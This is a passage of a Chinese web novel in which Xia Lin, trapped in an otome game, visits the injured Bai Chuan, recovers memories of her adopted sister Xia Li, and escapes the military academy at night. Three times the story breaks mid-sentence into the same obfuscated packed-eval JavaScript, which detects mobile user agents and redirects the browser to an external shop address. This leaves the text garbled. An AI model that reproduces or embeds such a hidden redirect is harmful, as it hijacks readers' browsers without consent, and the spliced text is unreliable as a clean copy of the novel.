就像是做好了随时离开的准备。 “……秦封?” 稍稍提高的声音唤回了秦封的意识。他抬眼看去,金发蓝眼的少女正瞪着他,微愠的表情鲜活明亮,让他骤然发寒的指尖染上了一些温度。 他摩挲了一下。 “你在发什么呆?回答呢?”夏林没好气地说了一句。 她刚才在问秦封为什么会说“只有55”那句话。 结果对方忽然不知道为什么就发起呆来了。 就算是不想回答,这态度这像话吗? “……听说白川的机甲上坐的是一个叫唐瑶的女生,你知道她吗?”秦封并没有回答夏林先前的问题,而是话锋一转生硬地开启了另一个话题。 意料之中的转移话题依然让夏林皱了下眉。但之前打过的交道让她明白秦封是个挺难撬开的嘴,于是打算徐徐图之。 她顺着这个话头继续说:“听说了。这游戏让我看了一段过去的记忆,唐瑶是白川的亲妹妹,本名叫白溪。在年幼时两人似乎是因为家境贫寒又恰好遭遇了帝国联邦之间的战争才分离的。后来妹妹应该是被唐家收养了,改名唐瑶。” “后来他们在前天的校外模拟实战中相遇……”夏林顿了一下,想起了两人当时的异状,简略地描述了一下那时的经过,最后说,“据唐瑶本人所说,是因为她的机甲没有能量了,白川才将自己的机甲让给她的。” 而夏林这边对军校的说法是,她返回寻找自己的队友,结果发现了身受重伤的白川。由于当时情况危急,就让白川乘坐了自己的机甲返回,而她则是找了教官帮忙。 因为秦封不知道上哪找来的那架深蓝色机甲恰好是天宿军校教官使用的样式。 就这样形成了一个完美的前因后果。 “所以如果白川没有把机甲借给她,自己也就不会受这么重的伤。”秦封忽道,抬眼看向夏林,目光沉沉,“年幼时就分别的妹妹,说明相处时间只有那短短几年,这样短暂的时光值得在多年后依然为之付出这样沉重的代价吗?你若是没有及时赶到,白川应该会死在那里吧。” “你在说什么鬼话?”夏林皱眉,“白川怎么能预知到自己会受袭?你这算得上是标准的‘受害者有罪论’了。” “白川的受伤怎么能归结于他把机甲借给别人?应该全是那个未知袭击者的错。” “而且就算退一万步,白川能预知到自己会受袭。他帮助自己的妹妹还让你一个外人评价上了?他自己愿意就是了。” 秦封嗤笑了一声:“他的确是维持了一个好哥哥的形象。可你有想过如果白川死在了那 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但他却像是在竭力维持着这片月影。 为什么秦封现在脸上会是这样的表情呢? …… 夏林叹了一口气,原本的情绪被打断后一泻千里,平静之后想了想这个答案也不是什么重要的事,便开口道:“……如果我是白川,我依然会借机甲给唐瑶的。如果要面对危险的是她,我宁可选择自己面对,显然生还率会更高一点。即使后面她可能会怨恨我,或者是怨恨自己。但我知道,那是我能做出的最好选择。” “对我来说,我会永远希望我的家人平平安安的,永远不要面对危险,健康顺遂地度过一生就好了。” 秦封沉默了半响。 就在夏林觉得自己在这场“辩论赛”里为白川反驳成功的时候,她忽然听到对方说: “可家人也是人。” “如果‘家人’这个身份对于那个人来说只代表着一味的付出,那对那个人来说,未免也太辛苦了。” 这两句话让夏林愣了好一会。 她忽然觉得,秦封前面那些话或许并不是在否认白川的行为。 他……其实是在为白川着想? 夏林的语气缓和了许多:“不是一味的付出。肯定是从家人那里获得了更加珍贵的东西,才会选择这样珍惜对方。平时星网上不是也有一些和家里断绝关系闹得很难看的新闻吗?” 秦封低声重复了一遍:“‘更加珍贵的东西’?但她明明……” 秦封不知道为什么说了一半突然止了声。 但她明明什么?唐瑶怎么了吗? 夏林刚想追问,一张口忽然反应了过来。刚才被秦封一下子扯开了话题,她差点忘记了还要“三审秦封”这回事了。 前面好感度的问题他还没回答。 游戏世界里没有通讯手段,要逮到一次秦封可不容易。 想到这里,夏林竖起了眉毛,刚打算发作,她的光脑突然弹出了一条新信息: 【白川:学姐,我伤得这么重你怎么不来看我!o(╥﹏╥)o】 什么鬼,居然还有颜文字。 16. 白川11 又让秦封溜了。 走在去医务室的路上,夏林叹了一口气。 就在刚才收到白川消息的时候,夏林看了一眼。 本打算等“审问”完秦封再回复,可那边秦封说,这是触发了游戏人物事件,现在只差10点好感度了,去刷满了就能出去了。 出去之后没必要深究秦封为什么可以碰到这个游戏的NPC或者别的什么了。毕竟她平时也不玩乙女游戏。 挺有道理的。一时间没想到怎么反驳。 就这样出来了。 边想边走,夏林很快顺着指引来到了天宿学院医务室。 医疗水平自古以来都是紧跟时代脚步的,作为军校的医务室更是设备精良。夏林还未打开门,消毒水的气味就涌入了鼻腔。透过医务室门口上方的小块玻璃可以看到内里雪白的墙壁,和一个个陈列整齐的胶囊型治疗舱。 里面没有其他人。唯一亮着指示灯的那个治疗舱上半部分的舱门开启,栗色卷发的少年穿着宽大的病号服正靠着墙壁坐在床上,面前是光脑投影的光屏,不知道正在看些什么。 冥冥之中,白川似乎有所察觉,下一秒两人就猝不及防地隔着玻璃对视上了。 夏林摸摸鼻子,觉得在门口窥探被发现有些尴尬,索性推门进去。 然而方才还坐着玩光脑的少年等到她进门的时候却是已经“安详”地闭眼躺在治疗舱内,一副伤重动弹不得的模样。 夏林不知道他这葫芦里卖的是什么药,又因为要刷他的好感度,就佯装不知地走过去,从旁边搬了个小椅子坐下。 听到夏林这边动静停了。过了几秒,白川“悠悠转醒”。 他“虚弱”地开口:“学姐……” 夏林十分配合出演,关切道:“怎么了?要喝水吗?” 白川摇摇头,继续“有气无力”:“谢谢你救了我……但是我,伤势过重,咳咳!只剩下唯一的一个心愿……” 夏林失笑,不知道白川是在模仿哪个影剧的桥段,还记得要先大喘气再咳几声。 她继续顺着说:“什么心愿?” “就是今晚……想和学姐一起坐飞行器去看一次外面街头的霓虹表演。” “可以。” 这两句前后间隔不过一秒。 答得太快,白川反而有些不可置信。他这会也不装病了,丝滑地一按按钮打开治疗舱坐起身盯着夏林又问了一遍:“真的?是今晚去外面的街头哦。” 他特意强调了一下时间和地点,还怕夏林不知道又补充了一句,“学姐,天宿军校晚上不让学员出门的。抓到了会退学处理,很严重。” “嗯,没关系。” 夏林答得依然没有犹豫。她现在是明白了,这游戏在卡事件,最后这10好感度多半得要到晚上才能拿到。 空气忽然安静了下来。 夏林感觉到白川的目光一直停在她的脸上,像是在审度着什么。最终白川收起了脸上的表情,定定地看着她:“学姐,你那个时候为什么返回了?” 夏林马上就反应过来这是在说模拟实战演练的事,但这次她没有很快回答。 因为从理性上判断,一来当时白川的机甲能源是充足的,99%不会出什么意外;二来白川还是挺独立的一个人,不和自己说一声就直接行动,这种事他来的时候就已经干过一回了。 所以她当时的确是打算不找白川就回去了。 只是在后来的某个瞬间,夏林鬼使神差地想起了秦封对白川的那句评价。 还不错。 当时夏林还以为是在说她攻略人物选的好,后来想来这应该是对白川这个人的评价。 结合那段回忆来看,这个不算高大的少年的确称得上“还不错”的评价。甚至以夏林的角度看他应该是相当不错。 所以这过半的好感度,对于白川这样的人来说应该也算在心里占了一席之地吧? 于是她当时想着,只返回找3分钟,找不到就不找了。这也是她能给出的最多安全时间。 夏林并没有对她这一段心理路程多说,只简单地说了实际发生的后半部分:“因为我返回的路上遇到了你的机甲,却检测到里面坐着的是唐瑶,觉得你出了什么事情才回来的。” “根本不是这样的吧?学姐,”没想到白川却直接反驳了她,他低声道,“你明明早就决定走了!就在听到紧急通讯之后的一分钟内。你只有突然返回才能遇到我的机甲。” 夏林这下是真的很意外,表情一怔:“你怎么知道?” 白川话里的时间点非常准确。若不是有其他人告诉他,那就是当时白川一直在注意她的位置。 可那个时候,明明连检测器都检测不到白川的机甲,又怎么会在一分钟的可见范围内? 面对她的反问,这个拥有一头柔软栗色卷发的少年鼻翼不自觉地翕动,然后整个人慢慢地耷拉了下来。 像做错事的小狗。 无言的沉默又过了几秒,低下了头不敢看她的白川才低声开口:“学姐,我之前说过你若是赢了我,我就告诉你一个秘密,这个秘密我现在就和你说。” 夏林眨了下眼,临近结束,她差点忘了还有这回事。 “在这所天宿军校内,有某个人雇佣了我入学来调查一件事。更准确地说,是委托我寻找符合要求的一类人。” “这个要求是……” 正要听到关键的地方,医务室的门猛地被人从外面开启,发出了好大的动静。 两人齐刷刷回头,外面的来人已经大步流星地走到了白川治疗舱旁止步,然后对里面坐着的白川摆出了一副想上手碰又不敢碰的模样,最后在原地只憋出了一句: “你的伤怎么样了?听说很严重?” 面对唐瑶的焦急,白川显得极为冷静。他侧过脸抬了下下颚,指了指上面的红痕说:“你来得正是时候,再晚一分钟这个印子都要没有了。” 唐瑶似是被这句玩笑话瞬间引爆了情绪:“你还有心思开玩笑?”她眼睛瞪得大大的,有些不可置信,“谁干的?难道真是雷鸿影?” 白川一脸云淡风轻:“我自己摔的。” “胡说!”唐瑶咬了牙,目光紧紧盯着白川,“那么多人看见你从机甲上遍体鳞伤地被抬出来,他们都看错了?” “我们学校的同学不就是喜欢看热闹不嫌事大?他们乱说的。事实就是我不小心从山坡上滚下去,脸撞石头上了。”白川说得真像那么一回事。夏林心道若不是她才是第一发现者,她几乎都要信了。 她在一旁瞅了一眼唐瑶,没拆穿白川的谎话。 白川继续说:“再说了,你不是没看见吗?” 他不提还好,一提这个唐瑶几乎就要炸,她声音一下子拔高:“那还不是因为你……” 说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027806|194449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着说着莫名就和旁边的夏林对上了眼。 然后唐瑶一下子哑了火,没了声。 看来这兄妹吵架,她一个外人是不能继续听下去了。 夏林会了意,从椅子上站起身,体贴道:“我先走了,你们聊。” “别忘了!”白川连忙叮嘱道。 夏林摆了摆手,示意自己知道了。 她很快走到了门口,并贴心地为里面的两人把门带上。 外面的万里晴空不知何时转了阴,厚厚的积雨云压在上面,连空气都让人感到沉闷。 晦暗的光透过走廊的玻璃,在地面上勾勒出孤寂的模糊长影。 是要下雨了吗? 夏林从一瞬间的恍惚中回过了神。刚抬起脚步,身后的医务室内传来了激烈的争吵。 “……我最讨厌你了!” 门的隔音让前面的话语都有些模糊,只有唐瑶这带着哭腔的一句清晰地传入了耳中。 就像是触发了某个按钮,夏林忽然觉得头痛得不能自已。 这头痛如狂风暴雨般袭来。只几秒,意识就被剧痛撕裂到几乎无法思考。 视野模糊间,一个金色卷发的女生身影在脑海中隐约浮现。 她的嘴唇一张一合,却看不清上方的样貌。 怎么会看不清模样?那明明是…… 竭力回忆的夏林忽然呼吸一滞。 熟悉的几个音节在脱口而出之际却像是被什么扼住了喉咙,然后所有的气力就一瞬间挥发到了空气中,消失得无影无踪。 她刚才……想说的是什么? “我最讨厌你了!” 夏林没有分清这是后面医务室内的唐瑶又喊了一遍还是…… 她回过了神。 头不痛了,但依然有些耳鸣。 原来外面倾盆大雨不知何时已然磅礴而下,硕大又密集的雨点拍打在水泥地面上,墙壁的隔音早已听不清后面医务室内的声音。 对了,她是会读口型的。所以那句话其实是那个金发女生说的。 而且后面好像还有一句,说的是…… “我恨你。” 意识到这三个字含义的瞬间,心头涌上的酸楚如惊岸的潮水一样猛烈拍来,心脏生生地抽痛。 夏林一手扶着墙,一手紧紧地抓住自己的领口,大口地喘着气。 眼前依然止不住地发黑。 最终,夏林闭上了双眼,完全陷入了黑暗。 此时,一只手从边上伸出,及时地扶住了少女滑落的身体。 秦封动作轻柔地将少女扶靠在了自己的臂弯里,然后抬手拭去了她眼角上不知何时流淌而下的泪痕,额头相抵。 上方遥远的虚空之中蓦然出现一个惊慌万分的女声: “不好啦秦封!数值不太对!就现阶段的剧情发展来说,好像有点……有点太快了!” 秦封低垂着眼睫,注视着自己怀里紧闭双眼的夏林。他听见这话连眼皮都没抬,只淡淡道了一句:“没关系。” “没关系?可是这样的话后面你……” 虚空中的女声顿了一下,几秒的沉默后长叹了一口气: “既然你本人都这么说了,那就听你的吧。” 秦封没有再回话,只是定定地望着走廊外。 外面的磅礴大雨依然在止不住地下。 但世上没有下不停的雨。 17. 白川12 “你以后就是我的姐姐了吗?” 清晰的稚嫩.女声从耳边响起。随之而来的是手上拉着自己的柔软触感。 夏林愣愣地跟随着这个轻柔的牵引力往前走,一时间脑海一片空白。 温暖的阳光透过别墅长廊的玻璃窗洒了进来,两道身影在光影之间轻快地穿梭着,一直走到尽头,拐入了一个房间。 夏林感觉到手上的柔软触感一松,然后一个硬质的精美长盒子被塞进了自己怀里。 “这个是我送给你的礼物,和我身上的是相同的款式!但我问管家伯伯的时候,他明明说过你比我大两岁,我才特意选了大一号的,可是现在感觉……”眼前的金发女孩边说边围着夏林绕了一圈,然后小脸整个皱成了一团,表情垮了下来,悻悻道,“姐姐你还是先试穿一下吧,可能会有点太大了。” 夏林没有动。 终于察觉到不对劲的金发女孩绕到了正面,抬头一看慌了神: “姐姐?你,你怎么哭了?不喜欢吗?对不起对不起,我马上……” 夏林一把拦住了对方要从自己怀里拿走衣服盒子的手,抬手用袖子抹去了脸上的泪痕,对着惊慌失措的女孩露出了一个微笑: “没事的,不是不喜欢。只是……” 夏林张了张口,想起了曾经在这个场景下自己说过的话语:“只是我以前从来没有收到过礼物,一时间太高兴了。” 只要想起了一点,后面的记忆就如行云流水般涌了上来。 “谢谢你,夏璃。” 她伸出手,用了一个极为珍视的姿态拥抱了一下面前小小的金发女孩。 由于夏林此时的体型也并不大,这个动作更像是两个女孩依偎在了一起。 突然被抱住的金发女孩像是对这样的亲密举动有些无措:“这,这样啊。” 女孩小小的耳垂有些发红,嘴上继续道:“以后你是我的姐姐了,这点小事不用太感动啦,这样的衣服要多少有多少!” “不过……你都已经知道我的名字啦?可是我还不知道你的。” 夏林松开了抱着对方的手。 像是被这个疏远的举动所惊,金发女孩连忙解释道: “不是我没有问,是因为管家伯伯说,你到这里了之后要改成我们家的名字的,都是他没有告诉我啦!” “……你没有生气吧?”金发女孩问得有些小心翼翼。 回答她的是一只摸了摸她发顶的手。 “当然没有。” 眼前自己遍布细小伤痕的手与那头精心保养光滑如绸缎的金发形成了强烈的对比。 夏林收回手,垂眸看着这个如洋娃娃一般耀眼美好的女孩,弯了弯唇角:“我叫夏林。” “夏林?夏林……”金发女孩兀自念了几遍这个名字,忽然抬起头,一双浅蓝的眼睛亮闪闪的,“姐姐,我发现在念你的名字的时候,嘴唇会不自觉地往两边弯,就像是在微笑一样!” 即使这已经是第二次听到这句话,内心的某一处依然会有所触动。 夏林不自觉地收紧了自己抱着衣服盒子的臂弯。她深呼吸了一口气,张了张口,将这段自己记忆里最美好的对话继续了下去: “你的名字也一样哦,夏璃。” 名为夏璃的金发女孩愣了一下,歪着头想了想,眼睛又是一亮:“诶,真的诶,我以前都没有发现,因为,因为这里几乎没有人喊我的名字,爸爸妈妈都太忙了,我生病了也不太能出门……”说到最后情绪肉眼可见地低落了下来。 “所以现在有我了。” 夏林打断了金发女孩的话: “我以后就是你的姐姐了,我会一直喊你的名字,夏璃。” 夏林在这里停顿了一下,故意问她:“我现在微笑了吗?” 金发女孩怔了一下,露出了一个灿烂的笑容,用力地点头: “嗯!!” · 之后的记忆再没有过这样完整的片段。更像是一些杂乱无章的场景与片刻的画面。 比如在奢靡华贵的别墅餐厅内,小小的金发女孩拽着一个成年女仆的头发,声色俱厉地质问跪在面前的一堆仆人: “我问你们,父亲和母亲有交代过让你们这样随便对待姐姐吗?” “如果没有交代过,那她以后就是这个家里名正言顺的大小姐,我最喜欢的姐姐。” “连我都要喊一声姐姐,你们又凭什么随便糊弄怠慢她?” 女孩稚气的眉眼间隐隐带着几分与生俱来的上位者威严。 那是从社会最底层而来的夏林学不会的姿态。 还记得那是夏林刚来没几天发生的事。那时候别墅的主人有要事在身一段时间不在,她就这么尴尬地来了,也没有公开宣布过她的身份。 既不是主人,也不是客人,也不是仆人。 夏林知道自己没有被这个陌生环境所接纳,但她非常会审度局势,那些故意而为的小刁难对比她原本所在的环境也只不过是“小打小闹”,她并不是很在意。 只是有一天,罕见早起的夏璃撞见了她在吃据说连她家狗都不会吃的廉价合成食品。 那个像洋娃娃一样的金发小女孩第一次发了好大的脾气。 ……其实夏林并没有觉得事情有这么严重,毕竟以前她一年四季都吃这个。一起的其他人一样,无论老人或小孩。 但当她把这句话说出来之后,那个漂亮精致的贵族女孩忽然用力地抱紧了她,轻声道: “你说的那些其他人我不知道,我不认识。” “但你以后是夏璃的姐姐,我喜欢你,我想对你很好很好。” “以后要保护好自己,不能再这样在我看不到的时候受他们欺负也不说话。” 说话间,还有一只小手在自己背后有些生疏地拍着,像是在安慰她。 夏林对这种毫无缘由的亲近觉得十分陌生,也无法理解。 毕竟对夏璃来说,她只是某天突然出现的一个来历不明的人。 这份亲近,这份好意会是真的吗? 夏林不知道。但她也不是很在意。 因为对于一无所有的小孩来说,也没有什么可以失去的。 但在夏林短暂的九年人生里,也有她的一些简单人生准则。 谁对她好,她就会对谁好。 如果是当时还不了的恩情,她就会一笔一笔地记在心上。 然后这一记就记了整整六年。 在之后的六年里,夏林几乎与这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032584|194449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金发女孩形影不离,对夏璃也有了更多的认识。 比如从小因为身体不好被当成瓷娃娃万千宠爱养出来的骄纵任性,且好胜心极强。 比如表面上看上去很娇弱,但实际很坚强。 比如有时候嘴上不饶人,但实际心里很善良。 六年的真心相待,足够让夏璃成为了夏林在这里最亲近的人。 两个年纪相差不大的女孩在别墅内一同成长。直到记忆里后来的某一天,夏林被单独叫去了书房。 “……你妹妹夏璃她先天身体虚弱。你明白的吧,当初作为收养你的条件,你必须到达入学年龄后以我们家族的名义就读于帝国军校。”坐在书桌后说话的中年男人面容像是隔着一层水雾,看不清长相。 但夏林知道他的身份。他是夏家的家主,夏璃的父亲。 这也是她后来就读军校的理由。她很确定这就是所有的内容。 ……可是她后来必须得到第一名这样苛刻的条件,又是跟什么做了交换? 正当夏林想要深入回忆之时。 梦境戛然而止。 · 等到夏林醒来的时候,发现自己不知何时回到了宿舍床上。此时天色渐沉,已是黄昏时分。 室内没有开灯。夕阳的余晖落在床上,墙上映着一道倾斜的影。 她抬手按了一下太阳穴。 在这边的最后记忆在医务室门口就断了,她是怎么回来的? 忽然,一阵咖啡的香气弥漫过来。 夏林下意识地扭头朝那个方向望了一眼,然后下了床,循着味道走到了这件宿舍唯一的桌子旁边。 桌上摆着一杯还冒着热气的咖啡,旁边还有一个草莓三明治和一张纸条。 她顿了一下,伸手拿起了纸条。 上面的内容很简单: 【记得吃。】 上面的字迹每一笔都干脆利落,没有丝毫繁复。 虽然没有署名,但夏林认得这个字迹。 视线下移,她端起了尚带温热的马克杯,放到唇边饮了一口。 绵密的奶香柔化了咖啡的锐利,醇厚的液体入喉,唇齿间只留下丝丝方糖的甜味。 夏林只喝了一口就放下杯子,视线回到了那张留有字迹的纸条上。 马克杯里冉冉上升的热气模糊了她的面容,目光也仿佛在这一瞬间失去了焦点。 窗外学院路灯的橙黄色光线映入,在地上划出了明与暗的两个区块。 作为一个有实体判定的“鬼”,秦封却能将最后记忆断在医务室门口的她带回宿舍。 即使或许不是他带的,是游戏将玩家“重置”到宿舍,但桌上的这些东西也明晃晃地昭示着秦封来过这里。 怎么开的门? 这杯咖啡像是对方已经不打算掩盖自己的“特权”一般,明晃晃地搁置在这里,直接摊了牌。 夏林将手中的纸条捏成了团,随手抛进了废纸篓。 她打开了游戏的菜单选项,重新将各个选项规则又看了一遍。 想尽快离开这个乙女游戏的迫切心情在此刻达到了顶峰。 比起秦封,她其实更在意脑海中那些一晃而过的破碎记忆。 她究竟忘记了什么呢? 18. 白川13 不久后,夜幕降临。 夏林按照光脑上白川给她发的坐标到了学院的某个位置,驻足后环顾四周。 这里是位于学院树林内的一处角落。周围植被密集,人迹罕至。 确实像是各种意义上适合做坏事的地方。 夏林收回视线,抬头。 最大的问题是面前这堵围墙。 它看上去平平无奇,甚至高度都不算很高。夏林要是想翻过去,说不定都用不了5秒。 但这上方不出意外应该拉了电网或者装了感应报警装置,说不定还有光脑的影像检测智能抓拍,军校的“越狱”难度系数可不低。 夏林在脑海中晃过了几种方案,但又不知道在这游戏里能不能成功。 ……等会见机行事吧。 白川几乎是踩着集合的时间点到的。他走近后把肩膀上醒目的硕大背包甩到地上,冲着夏林打了个招呼:“学姐,来的好早啊。” 夏林对他这背包有点好奇,决定走近蹲下细看“作案工具”。 白川蹲下身打开背包,把里面的东西依次拿出来。 两件绝缘衣,两双绝缘手套和鞋子,两个Y型钢叉状物件,一个小黑匣子,一块承力板。 夏林凑近细细端详。前面的绝缘装备她还能理解,后面的这三种是做什么用的? 白川似乎没有向她仔细解释的打算。只见他戴上了绝缘手套穿上了绝缘衣,拿起那两个Y型钢叉物件走到围墙边。将其中一个放到口袋里,另一个咬在口中,双手上举,往上一跃。 他在跳到最高点的时候一手在围墙边上撑了一下,另一手将口中咬着的Y型钢叉猛地扎到了围墙顶上。 白川往边上走了大约50厘米的位置,又如法炮制地将另一个Y型钢叉扎了上去。 他走回来的时候发现夏林在盯着看,于是故意停下来挺起了胸膛,骄傲地用大拇指虚空指了一下墙头:“学姐,你就等着看吧。” 夏林一脸莫名。 白川似乎对她这反应很满意,鼻子几乎都要翘到了天上。这会他手上还在忙,嘴巴就闲不住了:“说起来,这个‘越狱’的办法我还是在模拟实战后才想到的。” 他把那个黑匣子固定在了承力板上,然后按了一下边上某个开关。 原来那个黑匣子是个小型的立体影像装置。 夏林盯着看了好一会,还是没看出来那个立体影像装置芯片中预设的投影模型是什么。 出来的影像是一片几乎实体的黑光,像是黑色幕布围成了这一片空间。 白川走过去,跃起身将承重板倒扣在了两个Y型钢叉上,整体就像是在围墙上又立了一座小桥。 如果那是倒着的投影……夏林忽然间明白了。 这是在手动制造图像检测设备的盲区! 围墙的光脑检测范围显然都是在顶部,有人翻越只会在顶部出现人形或指定面积阴影的时候才会返回报警。 而这个承重板底部固定着的立体投影设备投影的模型恰好是“一部分夜晚天空”,这样承重板上方的空间就是一片图像检测盲区,可以自由通过。 ……比起自己想的那几种方案,这个确实简单又实在。 想到这里,夏林下意识地看了一眼白川,却发现对方正一脸期待地看着她。 夏林诚心诚意地夸了一句:“很聪明的办法。” 白川微抿了唇,似乎对这个简单的夸赞不是很满意。他刚欲开口,忽然目光一凛,像是察觉到了什么一般,猛地朝后方的某个方向回了头。 看到他这个动作,夏林也朝那个方向看去。 树影交错,四方寂静。偶尔有几声虫鸣从草丛中传来,像是夜晚在低语。 似乎什么人也没有。 白川回过头,表情依然没有放松。他开口道: “学姐,你没有带光脑在身上吧?那个有定位装置的。没有许可走出学院的范围就会自动报警。” 这个是白川给她传讯息的时候也有说到过的,夏林自然是记得。她摇了摇头回道:“没带。” 白川点点头:“那好,我们尽快出去吧?那个Y型干扰器作用时间不长的。学姐,你要先把绝缘装备穿上。” 原来那两个是干扰器。夏林又抬头多看了几眼,然后转身把一身绝缘装备迅速套上了。 她穿戴完毕回过身,却发现白川已经站在了墙边微微躬着身下蹲,双手在身前交叠。 一副要在下面准备托着她翻墙的动作。 夏林愣了下,然后礼貌地拒绝:“谢谢,我觉得我应该可以的。” 白川满脸写着不赞同:“学姐,这个墙对你来说还是有点高的,而且你要够到的是更上方的承重板。” 夏林奇怪道:“你不是和我差不多高吗?” 墙边的少年肉眼可见地僵了一下,然后蹭地一下站直,大步流星地走到夏林身边,伸手比了比两人的身高。 发现还真是差不多高。 这个事实让白川的脸一下子涨得通红。他尴尬地收回手,站在原地憋了老半天才蹦出一句:“……我这是还在生长期,过几年就会比你高很多了!” 话落赌气般地整个人转到了另一边,自己气自己。 …… 夏林对自己无意间戳到白川最大痛点的事全然不知,见白川一时半会似乎不打算过来,她自己往前走到围墙旁,抬头在心里估算了一下高度,然后往上巧劲一跃。 成功挂到了承重板上。 “学姐!” 下方传来了白川有些惊慌的呼声,似乎没想到她会这样毫无预兆地开始。 夏林往下瞥了一眼。白川已经到了她位置的下方,张开了手似乎随时准备接住她。 两人一个低头一个抬头对上了视线。白川像是才意识到了什么,猛地低下了头,耳朵发红。 夏林倒是啥也没想。她暗自提了气,用力一蹬墙。借着反作用力在空中完成了一个漂亮的360度旋转,直接落在了墙的另一边。 这个动作是有些眼熟的。恰好是第一次两人赛跑时,白川“抄近道”时的动作。 留在下面看到全过程的白川自然是发现了。少年一愣,张了张口, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037062|194449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最终却什么都没说。 没过多久,白川也翻了过来。 两人“越狱”成功,白川的表情明显比之前放松了许多。他望着远处市区的灯红酒绿,一把扯下了身上的绝缘服,回头冲着夏林道:“学姐!我们快走吧!” “……嗯。” 夏林看了一眼被随意丢在地上的绝缘装备,以及身后墙上明晃晃摆着没有遮掩打算的“越狱痕迹”,迟疑了一下,还是跟上了白川的脚步。 ……也对。如果好感度到100,她就能返回现实了,也没有必要再回来这个军校。 · 就在夏林和白川两人的身影前后越过围墙的不久后。一道单薄的身影从教学楼方向急匆匆地跑来。 她跑得很急,整个人到围墙那的时候气喘吁吁的,几乎上气不接下气。 唐瑶看了一眼光脑上不断往前明显已经离开天宿军校范围内的光点,又看了一眼墙上的那些“越狱”遗留痕迹,傻了眼:“怎么会,居然真的出去了?” 她无力地坐到了地上,喃喃道:“难道又……” “谁出去了?” 夜深人静的树林里,如鬼魅般突然在咫尺身后响起的男声是效果惊人的。 坐在地上的唐瑶浑身一抖,条件反射几乎就要尖叫出声。 一只沾满了夜晚凉意的手从后面眼疾手快地伸了出来,捂住了对方的嘴巴。 唐瑶瞪大了眼,等看清面前人的面容后才逐渐回了神,讷讷道: “司,司昊泽学长……” 红发的张扬青年收回了手,眨了一下眼做了个wink,嬉笑道:“是我。专为拯救彷徨少女而来的黑夜使者。”他朝着还坐在地上的唐瑶伸出了手。 唐瑶紧绷的神经被这句中二的玩笑话缓和了不少,她放松了表情,借着司昊泽的手站了起身。 唐瑶开口:“学长,你怎么会来这里?” “我么?”司昊泽瞥了一眼唐瑶手中的光脑显示,漫不经心地道,“偶然间看到有一只‘小猫咪’夜晚一路狂奔,还越跑越偏僻,实在有些好奇,就跟过来看看了。” 唐瑶当时一心跟着光脑上显示的坐标方向跑,也没注意到后面有没有人跟随,现在听到这句话一下子红了脸,一句话也说不出来。 “不过,现在看来,这里似乎有更大胆的‘坏猫咪’。” 司昊泽说这句话时的语气淡淡的,少了那几分平日里的亲切,整个人给人的感觉截然不同。他边走边说,到围墙边抬头看了看:“看来我们小英今晚又得熬个夜了,学生会长这差事可不是人干的。” 衣角忽然被人拉住。 司昊泽回过头,唐瑶犹豫地望着他:“司学长,那个,如果能把人找回来的话,能不能……不要告诉学生会?” 在唐瑶看不到的角度,红发青年唇边的弧度大了一些。 “当然可以。毕竟我是专为拯救彷徨少女而来的黑夜使者。” 他顿了一下: “那,我们两个去把逃跑的坏猫咪抓回来?” 响起的蛊惑嗓音宛如恶魔低语。 19. 白川14 直到乘上白川不知道从哪来搞来的飞行器来到市区,夏林才发现这个霓虹表演比她想象中的盛大多了。 以一艘巨大的空中飞艇为主舞台,整个飞艇的外身均作为展示屏全方位播放各个创意霓虹,间或有几艘造型别致的小飞行器作为补充效果与主飞艇交相辉映。 霓虹表演展示的内容似乎来源十分广泛。夏林在上面看到了宛如学龄前儿童的涂鸦画作,又有一看就出自大师之作的精细建模。 它们唯一的共同点就是色彩丰富,极为醒目。 两人乘着飞行器在市区缓慢地行驶着,迎面拂来的夜风带着繁华喧闹的烟火气。 地面上的建筑显然也响应了霓虹表演的主题。往日里只简单显示几个字的店铺招牌此时一律用风格迥异的图案表示。 但这样也让夏林这样的初见者看不明白这究竟是个什么店。比如她现在盯着看的那一个就先是显示了一些植物,然后是云朵和石头。 主要还是因为那家店进出的人特别多。她就多看了几眼。 白川注意到了夏林的视线。他把飞行器转为自动驾驶,扭头一看那招牌上的图案就认了出来:“怎么了?学姐想要买面包吗?” “那是面包店?”夏林疑惑问。 白川说:“前面显示那些植物其实都是面包最初的原料,知道的人应该不多,学姐你认不出来也正常。后面是石头和云朵,大概是想表达面包的软硬状态吧。” 两人的飞行器在那家面包店门口停了下来,白川从座位上起身。 夏林并不是真的想买面包,她刚要开口喊住白川。旁边的店门一开,从里面出来了一大一小两个女孩。 两个人的手上都拿着热气腾腾显然是刚出炉的面包,脸上的表情幸福而又满足。 “姐姐,我就说了这次的新品闻起来就很香,果然很好吃吧?” 